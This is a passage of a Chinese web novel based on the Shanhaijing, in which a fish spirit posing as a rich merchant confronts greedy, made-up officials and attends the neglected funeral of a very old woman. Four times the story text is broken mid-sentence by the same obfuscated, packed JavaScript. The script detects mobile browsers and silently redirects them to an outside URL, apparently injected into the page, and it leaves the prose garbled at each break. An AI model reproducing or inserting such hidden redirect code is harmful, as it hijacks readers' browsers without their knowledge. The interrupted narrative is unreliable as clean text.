《【山海经】蠃鱼入世》 2. 认错,以为妇人 春季,空气中氤氲着不可见的水汽,因为位于邽山之下、蒙水之畔,空气便更加湿润,以至于虽不可见水汽,但在屋外走一会儿,皮肤上就会变得湿漉漉甚至黏腻。 坠满梨花的梨树树枝从后门门头蜿蜒伸出,轻盈饱满的花朵堆满了门头,风一吹,飘然飞落。小侍女踩着扫帚站在敞开的后门门内,站在白色黄蕊的漫天飞花中,她脚下还有一个跌落的铜盆,铜盆下是深色的被打湿的泥土里。 “后茹姐。” 后蠃撑着油纸伞缓步前行,水汽不沾身,只是这细微的与常人不同的区别外人看不出来。 她精致的绣鞋踩在湿润的泥土上,鞋面上的蝴蝶染上星点灰尘,任何一个人看到都会说这种天气穿这双鞋子真的是暴殄天物。 可她是后茹。如今至天镇炙手可热的商贾,甩甩手就是千百两黄金的天下首富。 面容皙白、面颊粉若桃花的来人嗓音细软,态度亲和:“我替太守和镇长来请您。” 后蠃脚步停在梨树靠近顶端的那条粗壮枝干下,她脸上似笑非笑,道:“我还以为是个姑娘。” 来人闻言不仅不尴尬,反而笑意越浓,颇为自恋地抚上脸颊:“确实自小就长了一张好面目。” 后蠃低笑,仰头看花,自言自语道:“当年,还没见过你们这样的男子。那时候,无论男女,都追求健硕,如此才好犁地、耕田、收成、活命。特别是男子,可是要上战场的,比起研究妆容,他们更将心思放在了武艺和四肢上。” “时来运转,如今国泰民安路,至天镇更是蒸蒸日上,男子之改变未尝不可。” 后蠃仍旧没有回来望他,仿佛沉溺在春天的花雨中,只是嘴唇的张合并没停下:“可改变的男子也太多了,至天镇不沉迷妆容的男子恐难找出两名。” “还有那你这一身——审美倒是和我一位侍女出奇的一致。都是在自己能负担的极限上所选的吧?” 男子粉面的脸色终于有了变化。 后蠃得偿所愿,她缓缓转动手中的油纸伞,嘴角露出得逞的放肆笑容。 “后茹姐几日前还照顾了我和兄弟们的生意,我以为后茹姐虽然是从外面来的,但和外面的人不同。” 后蠃闻言,用气息轻哼了一声,但站在门外的男子听不见,就连小侍女也听不见。 风慢慢小了,从枝头飘落的花瓣也逐渐消失,后蠃这才转身,撑着伞拖着脚步走到门边,她居高临下,眼神无情,语气轻飘飘的,比风还轻:“外面的人不长居此地,所想便一定是错的吗。” 是肯定句不是问句。 小倌出身的男子老练、善观词色,不会再多说得罪金主。 他的腰弯得极低,整个人像是被折了一半,他伸出手臂让后蠃搭手,手臂娇弱无力地置于半空,似没有骨头,但又因为太瘦所以很明显地只剩下骨头。 后蠃扫了一眼,并没有将手搭上去。 刚站上马车,还没有撩开马车的车帘,就闻到了一股不自然的馨香。后蠃扇扇鼻前,露出厌恶的表情。 跟在身后的男子没有想到自己一向被称赞清雅好闻的熏香会被客人嫌弃至此,连忙上前将车帘半撩开,车内眼皮上用了红色脂粉的男子也赶紧上前掀开了剩下的半张帘子。他们生怕后蠃因此不去赴约,自己利益受损还会被责罚。 后蠃对他们的小心思了如指掌,她顺其自然地落座,嘴角半丝笑意都没有,但也没有揭穿他们。 沿路长街,喧哗不止,有佛经声,经幡上以金箔书字;有道士算命,盆满钵满;有幼儿戏耍,脖间长命锁泛着纯正的黄金光芒,脖子被压得无一能完全挺直;有男女以伞为布,唇瓣相贴,站于闹市中、孩童前,难舍难分;有富商撒金,以人为犬,人学犬吠、犬爬,酷似者得黄金、珠宝。 “后茹姐,”一只涂满白色脂粉的手端着茶盏出现在眼前,声线娇软,嗓音细小,“请喝茶。” 后蠃没有立即接过,她细细打量那只茶盏。 盏外以靛蓝色为主,莲花从盏底向杯口徐徐绽放,每片花瓣中都绘有菩提树。盏内是起起落落的浮雕,描述的是敦煌七色鹿的故事,惟妙惟肖,栩栩如生。 “这样一只茶盏,造价需多少?”后蠃接过茶盏,轻抿一口,茶香醇厚,回味余长。 浓妆艳裹的男子笑着边摇扇边答道:“只需三十两。这可是近来镇上的风靡款,不少外地来礼佛问道的都带了一马车回去呢。”说完,娇笑几声。 后蠃转动茶盏,星眸低垂——如果她没记错,庄稼人家全家一年的用度也不过二三十两。 她无奈地摇摇头,将茶水一饮而尽,置于另一名穿着没有那么显眼的男子平摊开的掌上。自她端过了茶,这位戴着石榴花步摇的男人就一直弯着腰低着头、向上并拢平摊手掌,似殷切地等待她的垂怜。 “这茶是金贵的武夷大红袍。”为她递茶的男子言笑晏晏地主动为她解答,哪怕她根本没有提问。 后蠃点点头,没有流露出喜欢还是讨厌,男子只能放下扇子,换了另一种。 徐徐向前的马车渐渐停下。后蠃的眉头随之不动声色地上挑一瞬。 “齐小倌人,” 后蠃闻言再次挑眉。这一回, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047175|178996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她低垂的眉眼中有了哂笑之意。 齐小倌人。齐小官人。齐官人。 不敢得罪真正的官人,又偏要取巧迎合,就在官人前加了个小字。 为她泡茶的男人扭着腰坐到另一边,细长白皙的玉手娇俏地掀开了车帘,圆扇半遮脸:“让你备的三鲜饺,备好了?” 话语袅袅,似嗓中有人跳一场绵长情意的、旷日持久的舞。 后蠃伸长脖子,原来,马车停在一个馄饨摊旁。 胖乎乎的店家束发,脸上白乎乎一片,两侧眼尾各有一撇粉色胭脂,他热络地和齐小倌攀谈:“小倌人,你这脂粉看起来极细腻服帖,可是郎春阁的新品?” 齐小倌满意地伸出两指,贴在右脸上,娇羞道:“是我自做的,极其防水,若是你有需要,可明日到我府上,我免费赠与你。” 店家瞬间笑得花枝乱颤,将精巧漂亮的饭盒往上递上:“齐小倌人果然大气,不仅给我们介绍大生意,还如此慷慨。” 齐小倌含笑低眼,一片被夸赞后的娇羞。 后蠃冷眼清扫,开口,身为女子倒是比在场所有男子更中气十足、声音洪亮:“还不走?” 齐小倌立刻朝她点头弯腰,致歉,娇声喊道:“车夫。走。” 宽敞、香气扑鼻的马车最终在官府门前停下。 古朴高大的官府衙门,门前设登闻鼓,鼓面光滑干净,鼓旁的登闻鼓棒槌却缠绕了几圈蛛线。跨过门槛,前面左右都有道路,抬眼望去就是大堂,大堂两侧各有陪楼,高两层,少装饰,多普通的窗门栏杆,肃穆简单。 齐小倌人引着她往右侧走,走过两条廊道,眼前豁然开朗,树木郁郁葱葱,又有梨花簌簌飘落,如在下一场梨花雨。 “后茹姑娘。” 整齐划一的声音。 后蠃如刚醒的神明,睫毛一点点上扬,最后定格在朝向太阳的位置上。 眼前有飞檐水榭,所用木材仍能看出崭新,恍惚置身在中原或南方水乡。水榭亭中,比小馆们明显壮硕很多的男人们穿着不同颜色官服,皆涂妆粉,胭脂、眼黛各有不同。 他们身后的桌上放着棋盘,兵已过楚河汉界,象戏正在进行中。 面对恭敬的众人,后蠃并未选择回礼,径直走向棋盘,甩袖坐下,惹得在场的所有人面面相觑。 后蠃执起将棋,余光落在对面站在柱子边的侍女身上,侍女的脸擦得极白,但和脖子没有色差,可见虽用妆品,但也只是轻擦妆粉,眉间有梨花花钿,眼尾一点飞红,束起的发髻上仅有一根红飘带,风扬起,细长的红飘带便轻松扬起。 3. 需伐敌之资 “今日召集大家在此,是为了陛下所求之国资。” “两月前,边关十六小国私下相联,进犯我朝边关,如今,战局僵持,前线吃紧,国库空虚,我等已将镇上州县所存储的粮食、金钱全数拿出,但终究还是差许多。” “故而,召集诸位大商,诚求诸位出资,补上朝廷所分之钱粮,交付朝廷。” 全场的目光都落到了后蠃一个人身上。 但在场的大商不止后蠃一个。 后蠃放下手中的棋子,慢悠悠抬手撑住下巴,歪头斜看,眼前穿官服的人个个人模人样、衣冠整齐、面带春风。 她轻轻呵笑一声,就像燕尾点过春池,大雁飞过天空,留下的痕迹转瞬便不见。 在场官阶最高的刺史见后蠃是这个反应,出于面子,不愿太显而易见地逼迫一个女子,以免传出去,别人说他欺负弱女子,于是主动地叫了另外一个富商的名字——“秦思齐秦老板。” 秦思齐甩开身边小倌的手,应声站起,脸上谄媚的笑容毫不加以遮掩:“罗刺史,您尽管说,在下一定倾力而为,为您鞍前马后、在所不辞!” 刺史听到令自己满意的话,没再碰一鼻子灰,很是高兴:“目前距离朝廷交代的钱粮本州还差三千万两白银,三万石粮食,本刺史和太守商议过,我们至天镇富庶,出个一千五百万两白银、七万石粮食,足矣!” 在座的所有商人除了后蠃全都大惊失色,不少一把推开了缠绕身边的小倌伶人歌女,白着脸面面相觑。 缠绵酥腰的音乐、舞蹈都默契停下,让人再也感受不到它们的存在。 最终,一个年纪颇大的白胡子老人站了出来,代表说道:“至天镇虽富庶,但也是偏远小镇,每年上贡的银钱粮食不少,如今要一下拿出千万两白银和七万石粮食,实非我等人力可为。” 刺史面色红润,轻振衣袖,倒在弧形靠椅里,食指靠在唇边,姿态散漫,声音细慢:“凑一凑,总是够的。如果不是府衙实在没了办法,也不会求助尔等。如今可是尔等立身扬名、保家卫国的好机会!” “这——”人人都露出为难的痛苦表情。 后蠃宛如旁观者,垂眼,静笑。 她昨夜日行千里亲自去探查的消息:一则,朝廷确实给各地布下筹钱筹粮的任务不错,但分到至天镇所在州的仅为一万八千两和两万石粮食,毕竟朝廷税收刚刚结束。二则,太守府邸暗藏三十万两白银,刺史府邸暗藏一百五十万两,节度使府邸暗藏三百五十万两。 至于这些商人。 后蠃笑意更浓,就拿在场最德高望重的那个花甲老人,商贾甄富贵,至天镇土生土长的人,家里已在天下十大名城购置大院房产,在他修建的地道宫殿里,至今仍藏有七百万两白银,而本朝鼎盛时期国库也只有九千八百万两白银。 多数的钱都是从各地甚至外番慕名前来求佛问道的人手里得来的,或骗或哄抬善款。 至天镇的人大多积蓄不浅,但也大多是走这一条路发家致富的。 所以,要说这里的人得了佛法,通了道理,后蠃是一万个不相信的。 局面僵持。 突地,有苍老年迈的老妪声传来,以往,后蠃是不会和常人一样循声扭头的,可这一次,连她自己都不知道为什么,下意识就扭头朝声音传来的西台阶方向看去。 来人坐在精致的木轮椅上,一块厚实柔软锦缎覆盖双腿膝盖,眉毛头发全都白得彻底,脸上沟壑纵横,比地动后的地面更加惨不忍睹,令人不敢直视。 “老神仙,”甄富贵那彰显富贵的棕色金钱褂子一甩,拄着拐杖,扶着娇嫩少女的手,一颠一颠疾步朝老妪走去,他一边往前走一边跟在身后的人们介绍,“这就是我们至天镇的老神仙!活了好多年了,就是有她,我们至天镇被道、佛眷顾的名声才传得出去、立得起来!” 刚才还在僵持的敌我阵营顷刻间其乐融融。 刺史第一个代表官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047176|178996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员端着笑容迎出去,挤开先一步围着老妪的商人们,站到和甄富贵肩并肩的位置上。 按照规矩,甄富贵乃是德高望重的长者,非正式场合,小几十岁的刺史必须位于其后。 若不是后蠃在来之前从创世神那儿得到了关于这个朝代的所有信息,她都要以为这规矩已经为全部世人所弃,早变得不符合当朝生存环境的那些老旧古板条约了。 “老神仙啊,您怎么下山来了?这山下气息浑浊,不利于您养气,长命万岁,如今更是人来人往,一不小心磕着碰着,悲伤的可是我们这些凡夫俗子!”刺史掐着嗓子,矫揉造作的平易近人。 老妪极慢极慢地抽出被刺史抓住的手,仿佛时光流逝的计算在她这儿和旁人完全不同。 “不用这么恭维老妪……老妪只是一个普通人罢了……”老妇说话的语速也是极慢极慢的,常人说上几句的时间她才能说完一句。 “哎哟!”对比起老妇,刺史说话既清晰又飞快,“您说的哪里话,谁家普通人一活就是这么多年。” 甄富贵也附和道:“是啊,您就是老神仙,听说我祖母在时,你就是如今这个模样了。可不就是得了佛法道理的老神仙!” …… 纷纷扰扰。 后蠃独自坐在亭中,要从人挤人留出的缝隙里才能看到老妪的一丁点动作,否则就要用神力透视,她觉得没必要耗费这个心思力气,于是收回了视线,将棋篓倒覆在桌面上,棋篓中的棋子哐当当响了几下,然后很快安静下来。 棋子轻微的响动自然没有从熙熙攘攘的吵闹恭维声中引起半分涟漪,唯独眼睛快眯完的老妇人耳朵随之动了动、立了起来,接下来,她长年佝偻的背也挺立起来。 甄富贵第一个注意到老妇静默的变化,大叫一声,仿佛看到神迹一般。 老妪浑浊的眼珠子死死盯着前方,似乎能把刺史和甄富贵的身体各烫出半个洞来。 “老妪,所期得愿。” 4. 老妪和身不由己的蠃鱼 后蠃耐心还有很多,听到老妪的话,更愿意待在这儿将今日之故事看完。 于是,她唇瓣张合,声音不轻不重,但字词皆准确清晰地传入在场每一个人耳朵里:“既然来这么久了,还不请人入座?” 刺史和贾富贵等人感觉身后有千万芒刺,不得不转身,移动中情不自禁让出了一条小道,足以让老妪和后蠃直直对视上。 可后者并未舍得怜悯一丝视线。 老妪让身后人将她推到台阶下,颤颤巍巍抓住了轮椅扶手。 “哎哟”“哎哟”围着她的人群几乎是同一时间发出了同样的声音。 他们紧张地纷纷伸出手,生怕活招牌老妪倒下,但又没有一个人真正将手让老妪搭上,因为生怕老妪出点意外、责任都到了自己身上。 老妪年迈,脚步难抬,抬了许多次,都没能迈上第二节台阶。 后蠃余光清扫、奔老妪而去,不知撞上老妪的第几次尝试。她放下流行款式的茶盏,起身,微风在她脚下卷起,吹动裙摆,裙摆的荷叶边如早潮期的江水卷席摆动,好看又独自向内汹涌。 老妪终究没能跨上第二节台阶。 但后蠃站到了第二节台阶上。 她撑着那把从小院里带来的油纸伞,拇指扣着伞柄缓慢转动,伞面的莲花便如有了生命,徐徐绽放开又闭合。 “我终于——再见到您了。”老妪的声音颤抖,饱含深情和眷恋。 在场的人都因为震惊而一言不发,只有这段小戏中的另外一位主人公后蠃是因为迷茫而一言不发。 后蠃眯起眼,在她久远的记忆中,并没有这个人。 片刻后,老妪垂下头,眼中的光亮也随之熄灭,她抓住为她推轮椅的人的手,声线起伏颤抖、声量时强时弱:“您是贵人,不记得我,很正常。” 后蠃点点头,对此表示认同,没有谦虚的意思。 老妪眸中光亮又短暂亮了一下,她深深望向后蠃的眼眸,企图闯进静谧深潭的最深处:“我还是孩子的时候,曾经在邽山蒙水中见过您。” 后蠃所有的情绪凝滞在嘴角。自从女娲造人后,她在邽山便只现身过一次,那一次,她若是幻化成人形也还只能是个四五岁孩童的模样。 不过那天她没有幻化人形。 她贪玩,从水底跳出水面,在蒙水上空飞行,贪婪地吸了很久很久的空气,很快,天空开始像破了洞一样,一盆盆大水往地上倒,连带着蒙水水涨,她低空而飞,几次险些被蒙水扬起的水浪狠狠打湿翅膀。 她还记得后来的场景。 奔流不息的蒙水开始跳过岸边的石头,激荡在河床中左右摇摆,一刻钟后,蒙水的河床再也挡不住蒙水左右扩张的野心,蒙水开始向更远的东西方向溢去,首先是打湿了农田里耕作百姓的草鞋,然后覆盖上他们的膝盖,让他们的脚陷入了泥土,最后,她只能飞得更高,飞到远处的山头上停歇,才能再次完整地看清蒙水的全貌。 那场洪水,死了很多人。应该说是无人生还。 当她看到洪水向南卷走了一个小女孩,而小女孩的妈妈明知追不上还在水里拼命追随、最终淹死在浑浊污脏的大水里时,她终于明白——有了人,她再也不能像以前一样出水了。 她四处寻找邽山山神,寻求办法,山神却说天命如此、不可更改,无论是大水之事,还是她觉得自己再也不能出水的事。 只是,那时候的她并不明白,出不出水的事不是她能决定的。造物主其实早就为她设定好了出水的条件,即便她有心,但只要等到她在水中感到憋痛时,她就会顺应本能地跃出水面,展翅飞翔。 水褪去,她从高涨、浑浊的蒙水里钻出,露出一双眼睛,便只看见了笼罩了山坡田地的浩瀚蒙水,宛如海洋。 了无人气。 那次洪水后,后蠃再也没有钻出水面。包括在之后很长很长的一段时间内。直到她去到深海。 在恢复平静的蒙水里,她竖起耳朵听邽山山神日日描述洪水之后的邽山和邽山脚下的城镇: 大水结束的第三年,邽山脚下的城镇才搬来第一户人家,是一群穿着层层补丁的乞丐,山神听他们自己说他们是被流放的官宦之后、逃跑至此; 第五年,来了第二户;第十年,长至十七户,有住在山里的,有住在山脚的。 …… 后蠃精致的深蓝襦裙乖巧地跟着主人的心情安静下来。 许久后,后蠃再次转动伞柄,薄唇张合,目光远眺,叹道:“你活得,确实太久了。” 人群哗然。 甄富贵等人好奇激动的目光全部集中到后蠃身上。以为天降横财,又让他们得到了一个至天镇的活招牌——怪不得没有人知道她的来历,她却神秘又有钱。 老妪认同地点点头:“是太久了。就是想再看看你。不知如何,就活到现在了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047177|178996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后蠃不是命神不是阎王,看不到老妪身上的命数。 她半垂眼,关心似有似无地说道:“太违反天道自然了。你会被反噬的。” 人群再次哗然。 甄富贵臭着一张脸上前,拐杖噔噔噔地戳地,地面价值不菲的砖块都要被他戳出一个洞来。 “休……!休得胡说!” 后蠃一眼识穿他弯弯绕绕的肚肠,轻蔑哂笑一声。 甄富贵还没打算停下,习惯地倚老卖老道:“长命是好事!怎么能诅咒老人家呢?!而且还是老神仙这种德高望重的老神仙!” “好事?”后蠃望向已经站不住的老妪,她挥挥手,示意搀扶老妪的人将老妪扶回椅子上。 “上古时期,民常言,老而不死是为妖,夺子孙之福,损己阴德,阻己来世轮回路,终死之日天上地下难与旧人见,”后蠃看向那位能被天下人尊称一句祖先的老妪,眼中有了破碎,“你们可有问过她喜或不喜?” 全场无人知晓,故而无人答。 又或者说,在场的人除了她,无人在意,所以无人想答。 后蠃单手提起裙摆,端庄悠闲地走下台阶,迈向昏昏欲睡的老妪。 老妪见她来,耷拉的眼皮再次恢复紧致舒展,笑着和后蠃道:“今天一早,天还没亮,我就自己迷迷糊糊点燃了准备了许久的长明灯,吃完早饭,身体里就有个什么东西” “催着我今日一定要下山来。”老妪苍老难看的手指绉出一朵花,送到后蠃大腿前,笑容未减半分。 这衰败强撑的笑容竟然让后蠃前所未有的心动。 后蠃想:或许,应该让至天镇活着。 后蠃背过左手,途中左手扭转,再将左手伸到身前时,她手里有了一个大如瓜的红色果实。 后蠃掌心轻轻用力,果实就分裂开,其中一大半都掉在了地上,只剩下了后蠃手上一块。令人惊讶的是,果实内部竟然全是黑色果肉。 老妪的双手剧烈颤抖,皱纹丛生的眼底滑下两行清泪。 后蠃缓缓蹲下,与老妪平视,襦裙如在砖上开花,她语调轻柔,声量却小得只够她与老妪听见:“崦嵫山丹树果,服之,可避火。如今世上已无丹树,汝服之,可避地狱火。” 老妪颤颤巍巍接过,记录着岁月历史的指尖摸过红色果皮,被泪水糊上对的眼睛再也容不下其他,她大口大口咬下黑色果肉,如终于回到了她本该在的人世时期。 5. 老妪丧事 老妪死于和后蠃分别后的第七日。 得到消息时,后蠃正撑着油纸伞站在美丽的梨花树下,伞外是至天镇少有的雨天。 雨水溅起脚边泥土,脏染了后蠃绣着鸟翼鱼身图案的深蓝襦裙。 身后的侍女大惊失色,跟了这个新女商一段时间,她知道女商不喜衣裙沾上污垢,于是她赶紧上前,跪在湿漉漉的泥土上,掏出手帕擦拭深蓝襦裙上的污点。 后蠃抽走手中拿捏的裙摆,小小挪了一步,低眼打量侍女的行为,道:“我跟你说过,我没有你的奴契,更没有你的卖身契,我们之间只是短暂的交易关系,你不需要和别家侍女一样,做到这种地步。” 侍女揪着手,还跪在地上,雨水已经打湿了她一半的身体,她着急解释道:“我想着,这样我的衣裙更脏,就算不能为姑娘您弄干净裙子,您也会高兴些。” 高兴些。 后蠃眉头堆在一起,她不解,语气寡淡平稳地询问:“为了讨我这个主家高兴,就可以把所有的尊严都放弃吗?”明明她已经说过不用如此。 “姑娘,”侍女的声音琅琅,真没觉得有什么不对,“你是给我开工钱的人。用尽一切办法讨你开心是我应该做的。” 后蠃薄唇微开,片刻后,她转身回原本的位置,正对粗壮的梨树,仰头道:“这不对。” 人不该为了利益,牺牲自我的一切,特别是人格尊严。 侍女低下头,心想:是你不食烟火,站着说话不腰痛。 后蠃不用回头,都能猜到侍女心中所想,她忽然想起两日前看书时前人所写: 一箪食,一豆羹,得之则生,弗得则死。呼尔而与之,行道之人弗受;蹴尔而与之,乞人不屑也。 往日路过的饥民和乞丐都不能接受,今日至天镇的常人却接受如常,甚至主动凑上去、伸出脸,任人践踏。 世道已变。 “走吧,”后蠃伸手接下一朵被雨打湿的梨花,掌心蓄了一个小水潭,自言自语道,“按照礼仪,有交情之人逝世,丧事应不请自去。” “她既然是老神仙,今日应当也不算孤单。”所以,姑且算为喜丧吧。 后蠃独自出门,依旧撑着那把莲花油纸伞。 她先去了香烛店,买了祭仗,落款:后蠃。 香烛店目测十几岁的粉面小生顶着一张化得乱七八糟的脸,指着蠃字问她:“后茹姐,这个字就是茹字吗?怎么好像和平常我见过的不一样。” 后蠃惊讶,但没有流于表面,她看了少年一会儿,缓缓道:“你家开的香烛店,挣的是神佛生死钱,你家里竟然还没钱送你上学?” 话说得并不好听。 但少年没有生气,他对此毫无感觉,毕竟全镇像他这样不读书等着继承家业的人比比皆是。他用力点点头,中气十足答道:“没必要!” 三个字说得潇洒大气。 好像在说什么不值一提的事情一样。 后蠃提着花篮走出了门外——祭仗很快就会由香烛店送到灵堂或者指定的路祭地点。 “老神仙得道仙逝是我们至天镇的大事,官府早早贴了告示,放心,我一定给你送到路祭的地方!”出门之前,少年拍着胸脯跟她保证。 沿着拥挤的长街往人烟稀少的郊外走,淌过涓涓溪流,进入邽山,路过万年未变的跌水,最终在山间推开了围着普通瓦屋的篱笆。 四周寂静,无唢呐,无悲乐,甚至没有以示死亡的挽联。 只有简陋的明旌,上书“老神仙之柩”,让后蠃确定自己没有走错地方。 后蠃站在篱笆门内,发怔——最后竟然没有一个人记得她的姓、家中排行,也没有一个人知道她的氏。 屋内,一张树根制成的圆桌,两把陈旧的被烟熏黑的椅子,火盆里木炭一半烧完一半还发着黝黑暗沉的光。 中央,摆着老妪的棺材和灵位。 木质上乘的棺材和灵位在这个简朴的环境里显得格外突兀,但在场的其他人好像根本注意不到这点似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047178|178996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 再往里走,窗下紧贴着一张竹床,配有最便宜的黄色纱帐,纱帐一半垂下一半撩起。 “老神仙是起床撩帐子的时候摔了,等我回来时,人已经不行了,”那日帮老妪推轮椅的女人披麻戴孝,匆匆从灵位棺材前赶来,着急辩解道,“事忙,又没几个人来,还没来得及收拾。” 看着女人笃定又无甚所谓的模样,后蠃在竹床上坐下,她放下祭拜的花篮,抬眼,问道:“你和她感情很好?愿意为她披麻戴孝。” 女人摸摸额头,笑了,答道:“甄老爷给钱让我照看她,虽然相处了十几年,但拿钱办事,谈什么感情。今天这孝服麻带也是臻老爷和刺史大人让我穿的,毕竟到时要送灵,会穿过整个至天镇,到城外老庙,不能没有人戴孝呀。” 后蠃嘴角笑意一点点消失,她冷情的眼里混杂失望。 她垂了眼,掩盖情绪,问道:“给了你多少钱?” 说到钱,女人忍不住笑容灿烂,伸出五根手指头,炫耀道:“整整五百两呢!” 后蠃一下子失望到极点,她摇摇头,觉得既无奈又好笑:刺史和甄富贵连做戏的假人都花高价雇了,却不愿意将这灵堂好好按礼节置办一下,只因为他们笃定没有几个人会前来,无论是至天镇的百姓还是在城中前来礼佛问道的外乡人。 前者,他们了解;后者,他们可以用老神仙一向不喜欢有人打扰、喜欢清修拒之门外。 就这样的态度,他们居然还敢算计着要拉死去的老妪全镇游街,借老妪的死创办新的吸纳财富的活动,说什么让大家都能沾染福气。他们在人死这种人生最后阶段将老妪价值再压榨了一次、且最终彻底地将痛苦活到现在的老妪压榨得一干二净。 既没有对死亡的丝毫敬重,也没有把人当人。 而那些镇民居然亦无一人站出来为曾造福于他们的已死之人说句话,反倒是卖力地宣传,企图吸引更多慕此等虚名、私心深重的外乡人前来。 至天镇陷入了疯狂。